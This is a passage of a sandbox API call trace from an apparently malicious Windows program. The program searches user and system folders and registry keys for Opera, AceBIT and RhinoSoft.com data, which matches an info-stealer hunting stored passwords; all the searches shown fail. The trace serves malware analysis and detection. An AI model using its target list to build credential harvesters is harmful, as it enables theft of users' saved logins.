(lpString1=".", lpString2="Microsoft Help") returned -1 [0068.505] lstrcmpiA (lpString1="..", lpString2="Microsoft Help") returned -1 [0068.505] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local") returned 30 [0068.505] lstrlenA (lpString="\\") returned 1 [0068.505] LocalAlloc (uFlags=0x40, uBytes=0xa0) returned 0x641518 [0068.505] lstrcpyA (in: lpString1=0x641518, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local") returned="C:\\Users\\EEBsYm5\\AppData\\Local" [0068.505] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\" [0068.505] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\") returned 31 [0068.505] lstrlenA (lpString="Microsoft Help") returned 14 [0068.505] LocalAlloc (uFlags=0x40, uBytes=0xae) returned 0x6415c0 [0068.505] lstrcpyA (in: lpString1=0x6415c0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\" [0068.505] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\", lpString2="Microsoft Help" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Microsoft Help") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Microsoft Help" [0068.505] LocalFree (hMem=0x641518) returned 0x0 [0068.505] StrStrIA (lpFirst="C:\\Users\\EEBsYm5\\AppData\\Local\\Microsoft Help", lpSrch="opera") returned 0x0 [0068.505] LocalFree (hMem=0x6415c0) returned 0x0 [0068.505] FindNextFileA (in: hFindFile=0x6426a8, lpFindFileData=0x12fd8a | out: lpFindFileData=0x12fd8a) returned 1 [0068.505] lstrcmpiA (lpString1=".", lpString2="Mozilla") returned -1 [0068.505] lstrcmpiA (lpString1="..", lpString2="Mozilla") returned -1 [0068.505] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local") returned 30 [0068.505] lstrlenA (lpString="\\") returned 1 [0068.505] LocalAlloc (uFlags=0x40, uBytes=0xa0) returned 0x641518 [0068.505] lstrcpyA (in: lpString1=0x641518, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local") returned="C:\\Users\\EEBsYm5\\AppData\\Local" [0068.505] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\" [0068.505] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\") returned 31 [0068.505] lstrlenA (lpString="Mozilla") returned 7 [0068.505] LocalAlloc (uFlags=0x40, uBytes=0xa7) returned 0x6293a8 [0068.505] lstrcpyA (in: lpString1=0x6293a8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\" [0068.505] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\", lpString2="Mozilla" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Mozilla") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Mozilla" [0068.505] LocalFree (hMem=0x641518) returned 0x0 [0068.505] StrStrIA (lpFirst="C:\\Users\\EEBsYm5\\AppData\\Local\\Mozilla", lpSrch="opera") returned 0x0 [0068.505] LocalFree (hMem=0x6293a8) returned 0x0 [0068.505] FindNextFileA (in: hFindFile=0x6426a8, lpFindFileData=0x12fd8a | out: lpFindFileData=0x12fd8a) returned 1 [0068.505] lstrcmpiA (lpString1=".", lpString2="Temp") returned -1 [0068.505] lstrcmpiA (lpString1="..", lpString2="Temp") returned -1 [0068.505] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local") returned 30 [0068.505] lstrlenA (lpString="\\") returned 1 [0068.505] LocalAlloc (uFlags=0x40, uBytes=0xa0) returned 0x641518 [0068.505] lstrcpyA (in: lpString1=0x641518, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local") returned="C:\\Users\\EEBsYm5\\AppData\\Local" [0068.506] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\" [0068.506] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\") returned 31 [0068.506] lstrlenA (lpString="Temp") returned 4 [0068.506] LocalAlloc (uFlags=0x40, uBytes=0xa4) returned 0x6293a8 [0068.506] lstrcpyA (in: lpString1=0x6293a8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\" [0068.506] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\", lpString2="Temp" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Temp") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Temp" [0068.506] LocalFree (hMem=0x641518) returned 0x0 [0068.506] StrStrIA (lpFirst="C:\\Users\\EEBsYm5\\AppData\\Local\\Temp", lpSrch="opera") returned 0x0 [0068.506] LocalFree (hMem=0x6293a8) returned 0x0 [0068.506] FindNextFileA (in: hFindFile=0x6426a8, lpFindFileData=0x12fd8a | out: lpFindFileData=0x12fd8a) returned 1 [0068.506] lstrcmpiA (lpString1=".", lpString2="Temporary Internet Files") returned -1 [0068.506] lstrcmpiA (lpString1="..", lpString2="Temporary Internet Files") returned -1 [0068.506] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local") returned 30 [0068.506] lstrlenA (lpString="\\") returned 1 [0068.506] LocalAlloc (uFlags=0x40, uBytes=0xa0) returned 0x641518 [0068.506] lstrcpyA (in: lpString1=0x641518, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local") returned="C:\\Users\\EEBsYm5\\AppData\\Local" [0068.506] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\" [0068.506] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\") returned 31 [0068.506] lstrlenA (lpString="Temporary Internet Files") returned 24 [0068.506] LocalAlloc (uFlags=0x40, uBytes=0xb8) returned 0x643aa8 [0068.506] lstrcpyA (in: lpString1=0x643aa8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\" [0068.506] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\", lpString2="Temporary Internet Files" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Temporary Internet Files") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Temporary Internet Files" [0068.506] LocalFree (hMem=0x641518) returned 0x0 [0068.506] StrStrIA (lpFirst="C:\\Users\\EEBsYm5\\AppData\\Local\\Temporary Internet Files", lpSrch="opera") returned 0x0 [0068.506] LocalFree (hMem=0x643aa8) returned 0x0 [0068.506] FindNextFileA (in: hFindFile=0x6426a8, lpFindFileData=0x12fd8a | out: lpFindFileData=0x12fd8a) returned 1 [0068.506] lstrcmpiA (lpString1=".", lpString2="VirtualStore") returned -1 [0068.506] lstrcmpiA (lpString1="..", lpString2="VirtualStore") returned -1 [0068.506] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local") returned 30 [0068.506] lstrlenA (lpString="\\") returned 1 [0068.506] LocalAlloc (uFlags=0x40, uBytes=0xa0) returned 0x641518 [0068.506] lstrcpyA (in: lpString1=0x641518, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local") returned="C:\\Users\\EEBsYm5\\AppData\\Local" [0068.506] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\" [0068.506] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\") returned 31 [0068.506] lstrlenA (lpString="VirtualStore") returned 12 [0068.506] LocalAlloc (uFlags=0x40, uBytes=0xac) returned 0x6415c0 [0068.506] lstrcpyA (in: lpString1=0x6415c0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\" [0068.507] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\", lpString2="VirtualStore" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\VirtualStore") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\VirtualStore" [0068.507] LocalFree (hMem=0x641518) returned 0x0 [0068.507] StrStrIA (lpFirst="C:\\Users\\EEBsYm5\\AppData\\Local\\VirtualStore", lpSrch="opera") returned 0x0 [0068.507] LocalFree (hMem=0x6415c0) returned 0x0 [0068.507] FindNextFileA (in: hFindFile=0x6426a8, lpFindFileData=0x12fd8a | out: lpFindFileData=0x12fd8a) returned 0 [0068.507] FindClose (in: hFindFile=0x6426a8 | out: hFindFile=0x6426a8) returned 1 [0068.507] LocalFree (hMem=0x6292f8) returned 0x0 [0068.507] LocalFree (hMem=0x626a88) returned 0x0 [0068.507] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Opera Software", ulOptions=0x0, samDesired=0x20019, phkResult=0x12feb4 | out: phkResult=0x12feb4*=0x0) returned 0x2 [0068.507] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Opera Software", ulOptions=0x0, samDesired=0x20219, phkResult=0x12fe88 | out: phkResult=0x12fe88*=0x0) returned 0x2 [0068.507] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Opera Software", ulOptions=0x0, samDesired=0x20119, phkResult=0x12fe5c | out: phkResult=0x12fe5c*=0x0) returned 0x2 [0068.507] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Opera Software", ulOptions=0x0, samDesired=0x20019, phkResult=0x12feb4 | out: phkResult=0x12feb4*=0x0) returned 0x2 [0068.507] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Opera Software", ulOptions=0x0, samDesired=0x20219, phkResult=0x12fe88 | out: phkResult=0x12fe88*=0x0) returned 0x2 [0068.507] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Opera Software", ulOptions=0x0, samDesired=0x20119, phkResult=0x12fe5c | out: phkResult=0x12fe5c*=0x0) returned 0x2 [0068.507] RegOpenKeyExA (in: hKey=0x80000000, lpSubKey="Opera.HTML\\shell\\open\\command", ulOptions=0x0, samDesired=0x20019, phkResult=0x12feb4 | out: phkResult=0x12feb4*=0x0) returned 0x2 [0068.507] RegOpenKeyExA (in: hKey=0x80000000, lpSubKey="Opera.HTML\\shell\\open\\command", ulOptions=0x0, samDesired=0x20219, phkResult=0x12fe88 | out: phkResult=0x12fe88*=0x0) returned 0x2 [0068.507] RegOpenKeyExA (in: hKey=0x80000000, lpSubKey="Opera.HTML\\shell\\open\\command", ulOptions=0x0, samDesired=0x20119, phkResult=0x12fe5c | out: phkResult=0x12fe5c*=0x0) returned 0x2 [0068.508] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0068.508] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x148, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0068.508] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fed4*=0x10, cb=0x4, pcbWritten=0x12feb0 | out: pcbWritten=0x12feb0*=0x4) returned 0x0 [0068.508] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0068.508] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x140, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0068.508] IStream:SetSize (This=0x6405d0, libNewSize=0x140) returned 0x0 [0068.508] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0068.508] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0068.508] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x4147e5*=0x2, cb=0x8, pcbWritten=0x12fea8 | out: pcbWritten=0x12fea8*=0x8) returned 0x0 [0068.508] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fed0*=0x0, cb=0x4, pcbWritten=0x12feac | out: pcbWritten=0x12feac*=0x4) returned 0x0 [0068.508] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fee4*=0x22, cb=0x2, pcbWritten=0x12fea8 | out: pcbWritten=0x12fea8*=0x2) returned 0x0 [0068.508] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fee8*=0x0, cb=0x2, pcbWritten=0x12fea8 | out: pcbWritten=0x12fea8*=0x2) returned 0x0 [0068.508] LocalAlloc (uFlags=0x40, uBytes=0x185) returned 0x626a88 [0068.508] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x626a88 | out: pszPath="C:\\Users\\EEBsYm5\\AppData\\Roaming") returned 0x0 [0068.508] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming") returned 32 [0068.508] lstrlenA (lpString="\\AceBIT") returned 7 [0068.508] LocalAlloc (uFlags=0x40, uBytes=0xa8) returned 0x6292f8 [0068.508] lstrcpyA (in: lpString1=0x6292f8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming" [0068.508] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming", lpString2="\\AceBIT" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\AceBIT") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\AceBIT" [0068.508] LocalFree (hMem=0x626a88) returned 0x0 [0068.509] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\AceBIT") returned 39 [0068.509] lstrlenA (lpString="\\*.*") returned 4 [0068.509] LocalAlloc (uFlags=0x40, uBytes=0xac) returned 0x641518 [0068.509] lstrcpyA (in: lpString1=0x641518, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\AceBIT" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\AceBIT") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\AceBIT" [0068.509] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\AceBIT", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\AceBIT\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\AceBIT\\*.*" [0068.509] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Roaming\\AceBIT\\*.*", lpFindFileData=0x12fd42 | out: lpFindFileData=0x12fd42) returned 0xffffffff [0068.509] LocalFree (hMem=0x641518) returned 0x0 [0068.509] LocalFree (hMem=0x6292f8) returned 0x0 [0068.509] LocalAlloc (uFlags=0x40, uBytes=0x185) returned 0x626a88 [0068.509] SHGetFolderPathA (in: hwnd=0x0, csidl=35, hToken=0x0, dwFlags=0x0, pszPath=0x626a88 | out: pszPath="C:\\ProgramData") returned 0x0 [0068.509] lstrlenA (lpString="C:\\ProgramData") returned 14 [0068.509] lstrlenA (lpString="\\AceBIT") returned 7 [0068.509] LocalAlloc (uFlags=0x40, uBytes=0x96) returned 0x641518 [0068.509] lstrcpyA (in: lpString1=0x641518, lpString2="C:\\ProgramData" | out: lpString1="C:\\ProgramData") returned="C:\\ProgramData" [0068.509] lstrcatA (in: lpString1="C:\\ProgramData", lpString2="\\AceBIT" | out: lpString1="C:\\ProgramData\\AceBIT") returned="C:\\ProgramData\\AceBIT" [0068.509] LocalFree (hMem=0x626a88) returned 0x0 [0068.509] lstrlenA (lpString="C:\\ProgramData\\AceBIT") returned 21 [0068.509] lstrlenA (lpString="\\*.*") returned 4 [0068.509] LocalAlloc (uFlags=0x40, uBytes=0x9a) returned 0x6415b8 [0068.509] lstrcpyA (in: lpString1=0x6415b8, lpString2="C:\\ProgramData\\AceBIT" | out: lpString1="C:\\ProgramData\\AceBIT") returned="C:\\ProgramData\\AceBIT" [0068.509] lstrcatA (in: lpString1="C:\\ProgramData\\AceBIT", lpString2="\\*.*" | out: lpString1="C:\\ProgramData\\AceBIT\\*.*") returned="C:\\ProgramData\\AceBIT\\*.*" [0068.509] FindFirstFileA (in: lpFileName="C:\\ProgramData\\AceBIT\\*.*", lpFindFileData=0x12fd42 | out: lpFindFileData=0x12fd42) returned 0xffffffff [0068.509] LocalFree (hMem=0x6415b8) returned 0x0 [0068.509] LocalFree (hMem=0x641518) returned 0x0 [0068.509] LocalAlloc (uFlags=0x40, uBytes=0x185) returned 0x626a88 [0068.509] SHGetFolderPathA (in: hwnd=0x0, csidl=28, hToken=0x0, dwFlags=0x0, pszPath=0x626a88 | out: pszPath="C:\\Users\\EEBsYm5\\AppData\\Local") returned 0x0 [0068.509] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local") returned 30 [0068.509] lstrlenA (lpString="\\AceBIT") returned 7 [0068.509] LocalAlloc (uFlags=0x40, uBytes=0xa6) returned 0x6292f8 [0068.509] lstrcpyA (in: lpString1=0x6292f8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local") returned="C:\\Users\\EEBsYm5\\AppData\\Local" [0068.509] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local", lpString2="\\AceBIT" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\AceBIT") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\AceBIT" [0068.509] LocalFree (hMem=0x626a88) returned 0x0 [0068.510] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\AceBIT") returned 37 [0068.510] lstrlenA (lpString="\\*.*") returned 4 [0068.510] LocalAlloc (uFlags=0x40, uBytes=0xaa) returned 0x641518 [0068.510] lstrcpyA (in: lpString1=0x641518, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\AceBIT" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\AceBIT") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\AceBIT" [0068.510] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\AceBIT", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\AceBIT\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\AceBIT\\*.*" [0068.510] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\AceBIT\\*.*", lpFindFileData=0x12fd42 | out: lpFindFileData=0x12fd42) returned 0xffffffff [0068.510] LocalFree (hMem=0x641518) returned 0x0 [0068.510] LocalFree (hMem=0x6292f8) returned 0x0 [0068.510] RegOpenKeyA (in: hKey=0x80000001, lpSubKey="Software\\AceBIT", phkResult=0x12fed4 | out: phkResult=0x12fed4*=0x0) returned 0x2 [0068.510] RegOpenKeyA (in: hKey=0x80000002, lpSubKey="Software\\AceBIT", phkResult=0x12fed4 | out: phkResult=0x12fed4*=0x0) returned 0x2 [0068.510] RegOpenKeyA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Classes\\TypeLib\\{CB1F2C0F-8094-4AAC-BCF5-41A64E27F777}", phkResult=0x12fed4 | out: phkResult=0x12fed4*=0x0) returned 0x2 [0068.510] RegOpenKeyA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Classes\\TypeLib\\{9EA55529-E122-4757-BC79-E4825F80732C}", phkResult=0x12fed4 | out: phkResult=0x12fed4*=0x0) returned 0x2 [0068.510] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0068.510] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x148, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0068.510] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fed4*=0x10, cb=0x4, pcbWritten=0x12feb0 | out: pcbWritten=0x12feb0*=0x4) returned 0x0 [0068.510] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0068.510] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x140, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0068.510] IStream:SetSize (This=0x6405d0, libNewSize=0x140) returned 0x0 [0068.510] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0068.510] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0068.510] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x4147e5*=0x2, cb=0x8, pcbWritten=0x12fea8 | out: pcbWritten=0x12fea8*=0x8) returned 0x0 [0068.511] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fed0*=0x0, cb=0x4, pcbWritten=0x12feac | out: pcbWritten=0x12feac*=0x4) returned 0x0 [0068.511] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fee4*=0x23, cb=0x2, pcbWritten=0x12fea8 | out: pcbWritten=0x12fea8*=0x2) returned 0x0 [0068.511] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fee8*=0x0, cb=0x2, pcbWritten=0x12fea8 | out: pcbWritten=0x12fea8*=0x2) returned 0x0 [0068.511] LocalAlloc (uFlags=0x40, uBytes=0x185) returned 0x626a88 [0068.511] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x626a88 | out: pszPath="C:\\Users\\EEBsYm5\\AppData\\Roaming") returned 0x0 [0068.511] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming") returned 32 [0068.511] lstrlenA (lpString="\\RhinoSoft.com") returned 14 [0068.511] LocalAlloc (uFlags=0x40, uBytes=0xaf) returned 0x641518 [0068.511] lstrcpyA (in: lpString1=0x641518, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming" [0068.511] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming", lpString2="\\RhinoSoft.com" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\RhinoSoft.com") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\RhinoSoft.com" [0068.511] LocalFree (hMem=0x626a88) returned 0x0 [0068.511] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\RhinoSoft.com") returned 46 [0068.511] lstrlenA (lpString="\\*.*") returned 4 [0068.511] LocalAlloc (uFlags=0x40, uBytes=0xb3) returned 0x643aa8 [0068.511] lstrcpyA (in: lpString1=0x643aa8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\RhinoSoft.com" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\RhinoSoft.com") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\RhinoSoft.com" [0068.511] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\RhinoSoft.com", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\RhinoSoft.com\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\RhinoSoft.com\\*.*" [0068.511] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Roaming\\RhinoSoft.com\\*.*", lpFindFileData=0x12fd62 | out: lpFindFileData=0x12fd62) returned 0xffffffff [0068.511] LocalFree (hMem=0x643aa8) returned 0x0 [0068.511] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\RhinoSoft.com") returned 46 [0068.511] lstrlenA (lpString="\\*.*") returned 4 [0068.511] LocalAlloc (uFlags=0x40, uBytes=0xb3) returned 0x643aa8 [0068.511] lstrcpyA (in: lpString1=0x643aa8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\RhinoSoft.com" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\RhinoSoft.com") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\RhinoSoft.com" [0068.511] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\RhinoSoft.com", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\RhinoSoft.com\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\RhinoSoft.com\\*.*" [0068.511] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Roaming\\RhinoSoft.com\\*.*", lpFindFileData=0x12fd66 | out: lpFindFileData=0x12fd66) returned 0xffffffff [0068.511] LocalFree (hMem=0x643aa8) returned 0x0 [0068.511] LocalFree (hMem=0x641518) returned 0x0 [0068.511] LocalAlloc (uFlags=0x40, uBytes=0x185) returned 0x626a88 [0068.511] SHGetFolderPathA (in: hwnd=0x0, csidl=35, hToken=0x0, dwFlags=0x0, pszPath=0x626a88 | out: pszPath="C:\\ProgramData") returned 0x0 [0068.512] lstrlenA (lpString="C:\\ProgramData") returned 14 [0068.512] lstrlenA (lpString="\\RhinoSoft.com") returned 14 [0068.512] LocalAlloc (uFlags=0x40, uBytes=0x9d) returned 0x641518 [0068.512] lstrcpyA (in: lpString1=0x641518, lpString2="C:\\ProgramData" | out: lpString1="C:\\ProgramData") returned="C:\\ProgramData" [0068.512] lstrcatA (in: lpString1="C:\\ProgramData", lpString2="\\RhinoSoft.com" | out: lpString1="C:\\ProgramData\\RhinoSoft.com") returned="C:\\ProgramData\\RhinoSoft.com" [0068.512] LocalFree (hMem=0x626a88) returned 0x0 [0068.512] lstrlenA (lpString="C:\\ProgramData\\RhinoSoft.com") returned 28 [0068.512] lstrlenA (lpString="\\*.*") returned 4 [0068.512] LocalAlloc (uFlags=0x40, uBytes=0xa1) returned 0x6292f8 [0068.512] lstrcpyA (in: lpString1=0x6292f8, lpString2="C:\\ProgramData\\RhinoSoft.com" | out: lpString1="C:\\ProgramData\\RhinoSoft.com") returned="C:\\ProgramData\\RhinoSoft.com" [0068.512] lstrcatA (in: lpString1="C:\\ProgramData\\RhinoSoft.com", lpString2="\\*.*" | out: lpString1="C:\\ProgramData\\RhinoSoft.com\\*.*") returned="C:\\ProgramData\\RhinoSoft.com\\*.*" [0068.512] FindFirstFileA (in: lpFileName="C:\\ProgramData\\RhinoSoft.com\\*.*", lpFindFileData=0x12fd62 | out: lpFindFileData=0x12fd62) returned 0xffffffff [0068.512] LocalFree (hMem=0x6292f8) returned 0x0 [0068.512] lstrlenA (lpString="C:\\ProgramData\\RhinoSoft.com") returned 28 [0068.512] lstrlenA (lpString="\\*.*") returned 4 [0068.512] LocalAlloc (uFlags=0x40, uBytes=0xa1) returned 0x6292f8 [0068.512] lstrcpyA (in: lpString1=0x6292f8, lpString2="C:\\ProgramData\\RhinoSoft.com" | out: lpString1="C:\\ProgramData\\RhinoSoft.com") returned="C:\\ProgramData\\RhinoSoft.com" [0068.512] lstrcatA (in: lpString1="C:\\ProgramData\\RhinoSoft.com", lpString2="\\*.*" | out: lpString1="C:\\ProgramData\\RhinoSoft.com\\*.*") returned="C:\\ProgramData\\RhinoSoft.com\\*.*" [0068.512] FindFirstFileA (in: lpFileName="C:\\ProgramData\\RhinoSoft.com\\*.*", lpFindFileData=0x12fd66 | out: lpFindFileData=0x12fd66) returned 0xffffffff [0068.512] LocalFree (hMem=0x6292f8) returned 0x0 [0068.512] LocalFree (hMem=0x641518) returned 0x0 [0068.512] LocalAlloc (uFlags=0x40, uBytes=0x185) returned 0x626a88 [0068.512] SHGetFolderPathA (in: hwnd=0x0, csidl=28, hToken=0x0, dwFlags=0x0, pszPath=0x626a88 | out: pszPath="C:\\Users\\EEBsYm5\\AppData\\Local") returned 0x0 